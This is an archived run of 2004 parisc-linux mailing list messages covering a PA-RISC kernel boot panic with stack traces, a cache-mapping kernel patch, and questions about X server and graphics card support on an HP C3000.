>  This may take me a couple of
>days to get this accomplished (busy work schedule :().

Don't worry, for me it's just for fun (but nothing must be more serious than
thaking fun :) )

Thanks a lot for all,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 18:26:21 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <40711E5500005FC3@ocpmta2.freegates.net>
References: <1081954200.10872.10.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623373 8286 80.91.229.3 (22 Nov 2014 02:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>,
	"Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: soete.joel@tiscali.be  Wed Apr 14 10:36:04 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E48694A82
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 10:36:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BDnDR-0007Ym-00; Wed, 14 Apr 2004 18:26:21 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 18:26:21 +0200
In-Reply-To: <1081954200.10872.10.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 16:36:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21415

Hello James,

>> On Wed, 2004-04-14 at 09:36, Ryan Bradetich wrote:
>> Ah .. I was under the impression it was a boot problem.  I will perform
>> the find, fsck and tar tests tests ... I only have a small disk (~500MB)
>> in the system so i will probably need to setup 
>> ome external disks.  I
>> will try the tests w/o using software raid first, then add in the
>> software raid as a an additional variable.  This may take me a couple
of
>> days to get this accomplished (busy work schedule :().
>
>It was (hence 'boot panic' in the title):
>
>http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022657.html

You have absolutly right, please apologies. My wory was to follow up a single
thread: bad idea to not modify the title :(

>So, Joel, are you saying you no-longer see this boot panic problem?

Yes not anymore this panic :)

(sometime, the system still panic but far later, after a fsck or a md sync
[sorry I don't remember with enough acuracy]).

Thanks,
   Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 14 Apr 2004 12:53:23 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <1081965204.1804.96.camel@mulgrave>
References: <20040414174535.81173494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623373 8288 80.91.229.3 (22 Nov 2014 02:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:33 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed Apr 14 11:53:34 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AA673483D; Wed, 14 Apr 2004 11:53:33 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3EHrNa10677; Wed, 14 Apr 2004 13:53:23 -0400
In-Reply-To: <20040414174535.81173494194@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 17:53:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21416

On Wed, 2004-04-14 at 12:45, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/14 11:45:35
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c sys_parisc.c 
> 
> Log message:
> Make all shared mappings and all file mappings (including MAP_PRIVATE)
> equivalently mapped.
> 
> This allows us only to flush a single space again in flush_dcache_page().
> 
> The flip side is that now all shared libraries are going to be mapped
> on 4MB boundaries.  This only wastes virtual space, but it may run us
> out of mappings faster than would otherwise happen in ILP32 processes.

Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.9
diff -u -r1.9 cache.c
--- a/arch/parisc/kernel/cache.c	12 Apr 2004 15:48:00 -0000	1.9
+++ b/arch/parisc/kernel/cache.c	14 Apr 2004 17:42:54 -0000
@@ -265,12 +265,16 @@
 
 		__flush_cache_page(mpnt, addr);
 
-		break;
+		/* If we find an address to flush, that will also
+		 * bring all the private mappings up to date (see
+		 * comment below) */
+		return;
 	}
 
-	/* Private mappings will not have congruent addresses, so we
-	 * have to flush each of them individually to make the change
-	 * in the kernel page visible */
+	/* we have carefully arranged in arch_get_unmapped_area() that
+	 * *any* mappings of a file are always congruently mapped (whether
+	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
+	 * to flush one address here too */
 	list_for_each(l, &page->mapping->i_mmap) {
 		struct vm_area_struct *mpnt;
 		unsigned long off, addr;
@@ -293,6 +297,8 @@
 			continue;
 
 		__flush_cache_page(mpnt, addr);
+
+		return;
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
Index: arch/parisc/kernel/sys_parisc.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/sys_parisc.c,v
retrieving revision 1.21
diff -u -r1.21 sys_parisc.c
--- a/arch/parisc/kernel/sys_parisc.c	16 Mar 2004 15:39:55 -0000	1.21
+++ b/arch/parisc/kernel/sys_parisc.c	14 Apr 2004 17:42:54 -0000
@@ -93,7 +93,7 @@
 		unsigned long addr, unsigned long len, unsigned long pgoff)
 {
 	struct vm_area_struct *vma;
-	int offset = get_offset(mapping);
+	int offset = mapping ? get_offset(mapping) : 0;
 
 	addr = DCACHE_ALIGN(addr - offset) + offset;
 
@@ -117,8 +117,10 @@
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
-	if (filp && (flags & MAP_SHARED)) {
+	if (filp) {
 		addr = get_shared_area(filp->f_mapping, addr, len, pgoff);
+	} else if(flags & MAP_SHARED) {
+		addr = get_shared_area(NULL, addr, len, pgoff);
 	} else {
 		addr = get_unshared_area(addr, len);
 	}



From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 21:02:41 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200404142102.41913.deller@gmx.de>
References: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623373 8291 80.91.229.3 (22 Nov 2014 02:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:33 +0000 (UTC)
Cc: Ulrich Deiters <ukd@xenon.pc.Uni-Koeln.DE>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Wed Apr 14 13:02:46 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5800F483D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 13:02:45 -0600 (MDT)
Original-Received: (qmail 5114 invoked by uid 65534); 14 Apr 2004 19:02:43 -0000
Original-Received: from pD9040666.dip.t-dialin.net (EHLO p100) (217.4.6.102)
	by mail.gmx.net (mp021) with SMTP; 14 Apr 2004 21:02:43 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 19:02:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21417

On Wednesday 14 April 2004 11:44, Ulrich Deiters wrote:
> I just wanted to install parisc-linux 3.0r2 on a HP C3000, 
> using an external serial terminal. The installation went more 
> or less smoothly, but the X server does not come up.
> 
> The kdm log says "no screens found".
> 
> I note that there is no X*screens file in /etc/kde2/kdm, but I do 
> not know whether this is normal or not - this is my first Debian 
> installation.
> 
> What must I do to get my X server running? Or is it hopeless, 
> because the HP graphics card (FX2) is not supported?

FX2 is not supported, but since you install via serial terminal,
you could still run a X Server on your local PC-machine (e.g. via Xnest)
and display there what you would see on the PA-machine.

Helge


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 21:32:48 +0200 (CEST)
Lines: 70
Approved: news@gmane.org
Message-ID: <57789.127.0.0.1.1081971168.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623374 8292 80.91.229.3 (22 Nov 2014 02:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Wed Apr 14 13:22:20 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97073483D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 13:22:20 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (87.80-203-39.nextgentel.com
	[80.203.39.87])
	by mail.broadpark.no (Postfix) with ESMTP id A51AB4462
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 21:22:20 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 8BE467E9A; Wed, 14 Apr 2004 21:32:48 +0200 (CEST)
Original-Received: from 127.0.0.1 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Wed, 14 Apr 2004 21:32:48 +0200 (CEST)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 19:22:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21418

Joel Soete wrote:

> That said, I am not able to link jejb with what I observe but here is
> the story.
> The system boot but hang very quickly as soon as io rate increase as per
> a find of a file name :( (reproducible on request)
> I then get mesg
>
> arq->state 2
> Badness in as_requeue_request at drivers/block/as-iosched.c:1479
> Kernel addresses on the stack:
> [snip]
>   [<10124528>] printk+0x144/0x1c0
>   [<101036bc>] dump_stack+0x18/0x24
>   [<102276a0>] as_requeue_request+0x5c/0x17c
>   [<1021e630>] elv_requeue_request+0x30/0x3c
>   [<1023baf4>] scsi_request_fn+0x220/0x2bc
>   [<1021e630>] elv_requeue_request+0x30/0x3c
>   [<102212b8>] blk_insert_request+0xd8/0xf0
>   [<1023a978>] scsi_queue_insert+0x6c/0xa0
>   [<1023b7bc>] scsi_prep_fn+0xc4/0x1dc
>   [<102368f8>] scsi_dispatch_cmd+0x118/0x22c
>   [<1021e820>] elv_remove_request+0x34/0x44
>   [<1023ba80>] scsi_request_fn+0x1ac/0x2bc
>   [<102273f0>] as_next_request+0x44/0x54
>   [<10228218>] as_work_handler+0x44/0x48
>   [<101344e4>] worker_thread+0x1e4/0x280
>   [<101200cc>] schedule+0x3f8/0x718
>   [<101385f4>] kthread+0xdc/0xe4
>   [<10108c5c>] ret_from_kernel_thread+0x1c/0x24
>
> [snip]
>
> it seems to be infinite loop :(
>
> Any idea?
>
> Thanks in advance,
>      Joel

I'm experiencing a very similar problem with 2.6.5-pa7 on a C180. I'm in
unfortunate position that my ext3 root filesystem needs INFO recovery,
but as soon as the recovery kicks in I get:

arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
[snip]
  [<10125d0c>] printk+0x188/0x1c8
  [<10105638>] dump_stack+0x18/0x24
  [<101fb740>] as_requeue_request+0x64/0x10c
  [<101f24b0>] elv_requeue_request+0x2c/0x38
  [<101f51b4>] blk_insert_request+0xf4/0xfc
  [<10211c2c>] scsi_queue_insert+0x68/0x9c
  [<102376f4>] hp_sdc_tasklet+0x80/0x160
  [<1020dd2c>] scsi_softirq+0xfc/0x11c
  [<10129990>] do_softirq+0xf4/0xf8
  [<10129e68>] ksoftirqd+0x84/0xf0
  [<101398a0>] kthread+0xe8/0xf0
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

Can't point to the last kernel version that worked, because this is
actually the first kernel I've built for the C180, having just
finished bootstrapping Gentoo. But I'll be happy to provide what
info I can - seems this problem is real if both a C110 and a C180
are suffering from it, and they're very similar pieces of hardware.

cheers
-Andy


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Deiters <ukd@xenon.pc.Uni-Koeln.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 22:46:05 METDST
Lines: 16
Approved: news@gmane.org
Message-ID: <200404142046.WAA04384@xenon.pc.Uni-Koeln.DE>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623374 8295 80.91.229.3 (22 Nov 2014 02:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ukd@xenon.pc.Uni-Koeln.DE  Wed Apr 14 14:45:06 2004
Return-Path: <ukd@xenon.pc.Uni-Koeln.DE>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xenon.pc.Uni-Koeln.DE (xenon.pc.Uni-Koeln.DE [134.95.49.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05B05482D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 14:45:06 -0600 (MDT)
Original-Received: (from ukd@localhost)
	by xenon.pc.Uni-Koeln.DE (8.9.3 (PHNE_28760_binary)/8.9.3) id WAA04384
	for parisc-linux@lists.parisc-linux.org;
	Wed, 14 Apr 2004 22:46:05 +0200 (METDST)
X-Mailer: Elm [revision: 212.5]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 20:45:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21419

Dear Joel, dear Helge,

thank you for your fast reaction! As the C3000 is my "local PC",
running the X system through another PC or X terminal is not
really an option. I would have to tidy up my desk in order to
make space for the additional equipment ... no, it would probably
be easier to write an FX2 driver. :-)

Is it possible to use a non-HP graphics card in a HP computer,
or is the question sacrilegious?

Regards,

Ulrich



From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 16:51:41 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
References: <200404142046.WAA04384@xenon.pc.Uni-Koeln.DE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623374 8299 80.91.229.3 (22 Nov 2014 02:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ukd@xenon.pc.Uni-Koeln.DE (Deiters)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Apr 14 14:51:44 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0E36483D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 14:51:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3EKpf94018443; Wed, 14 Apr 2004 16:51:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3EKpfQX018442;
	Wed, 14 Apr 2004 16:51:41 -0400 (EDT)
In-Reply-To: <200404142046.WAA04384@xenon.pc.Uni-Koeln.DE> from "Deiters" at
	Apr 14, 2004 10:46:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 20:51:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21420

> Is it possible to use a non-HP graphics card in a HP computer,
> or is the question sacrilegious?

Get a HP Vis EG card.  A Voodoo2 may also work.  Search the list.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 20:52:37 +0000
Lines: 145
Approved: news@gmane.org
Message-ID: <407DA495.1090009@tiscali.be>
References: <57789.127.0.0.1.1081971168.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623375 8306 80.91.229.3 (22 Nov 2014 02:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: soete.joel@tiscali.be  Wed Apr 14 14:52:28 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 546AE4869
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 14:52:28 -0600 (MDT)
Original-Received: from [83.134.226.77] (port=32823 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BDrLb-0002XC-64; Wed, 14 Apr 2004 22:51:03 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <57789.127.0.0.1.1081971168.squirrel@www.puszczka.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 20:52:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21421

Andy,

Many Thanks you save my mind: I was becoming crazy ;)

That said, thanks to viewcvs, cvs and some tbz I recover from my systems, I reach to rebuild on my b2k at the office:
2.6.3-pa2 (runing simultaneoulsy 2 find on different linux tree, a tar of one of those tree) survive :)
2.6.4-rc1-pa3 same test: survive (so no pb with ccio-dma changes) :)
but 2.6.4-rc4-pa6 died with same messages.

and too bad after such crash not more possible to reboot even with 2.6.4-rc1-pa3 which panic:
[snip]
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 520k freed

Stack Dump:
  10380418:  10380418 00048308 00000040 ffe01800
  10380408:  ffe01801 1046f010 10380080 003803b8
[snip]
  10380038:  00000000 00000000 00000000 00000000
  10380028:  00000000 00000000 00000000 00000000

Kernel addresses on the stack:
  [<10125aec>] call_console_drivers+0xd0/0x17c
  [<10106020>] parisc_terminate+0x60/0xb8
  [<10111cd0>] pdc_console_restart+0x4c/0x68
  [<101061bc>] handle_interruption+0x144/0x5b0
  [<1010b088>] intr_check_sig+0x0/0xc
  [<1025e5bc>] ncr_reset_scsi_bus+0x158/0x2b8


High Priority Machine Check (HPMC): Code=1 regs=10380080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111100100001110 Not tainted
r00-03  00000000 103a5010 1025e4b8 0000000f
r04-07  17edeba0 17ec0000 00000002 103a5010
r08-11  00000000 17ec4110 b6da8c80 1046e060
r12-15  100fe244 00000000 10394010 1046e010
r16-19  f00010f4 f00000ac f00000a4 f3f8c80e
r20-23  00000001 0000000f 0000000e 1046d010
r24-27  17ec0000 00000000 0000c800 1037d010
r28-31  f3f8c800 00005dc0 17ec4380 1025e57c
sr0-3   00000000 00000003 00000000 00000003
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1025e5b8 1025e5bc
  IIR: d6c30a3f    ISR: 00000000  IOR: f3f8c80c
  CPU:        0   CR30: 17ec4000 CR31: 103dc000
  ORIG_R28: 00000000
  IAOQ[0]: ncr_reset_scsi_bus+0x154/0x2b8
  IAOQ[1]: ncr_reset_scsi_bus+0x158/0x2b8
  RP(r2): ncr_reset_scsi_bus+0x54/0x2b8

(already retry 2 time even after a cycle power off/on?

and now with 2.6.3-pa2 up again pfff)

I can still restric research between 2.6.4-rc3-pa3 (which I missed in my investigation?) and 2.6.4-rc4-pa6?

hth,
	Joel

Andy Walker wrote:
> Joel Soete wrote:
> 
> 
>>That said, I am not able to link jejb with what I observe but here is
>>the story.
>>The system boot but hang very quickly as soon as io rate increase as per
>>a find of a file name :( (reproducible on request)
>>I then get mesg
>>
>>arq->state 2
>>Badness in as_requeue_request at drivers/block/as-iosched.c:1479
>>Kernel addresses on the stack:
>>[snip]
>>  [<10124528>] printk+0x144/0x1c0
>>  [<101036bc>] dump_stack+0x18/0x24
>>  [<102276a0>] as_requeue_request+0x5c/0x17c
>>  [<1021e630>] elv_requeue_request+0x30/0x3c
>>  [<1023baf4>] scsi_request_fn+0x220/0x2bc
>>  [<1021e630>] elv_requeue_request+0x30/0x3c
>>  [<102212b8>] blk_insert_request+0xd8/0xf0
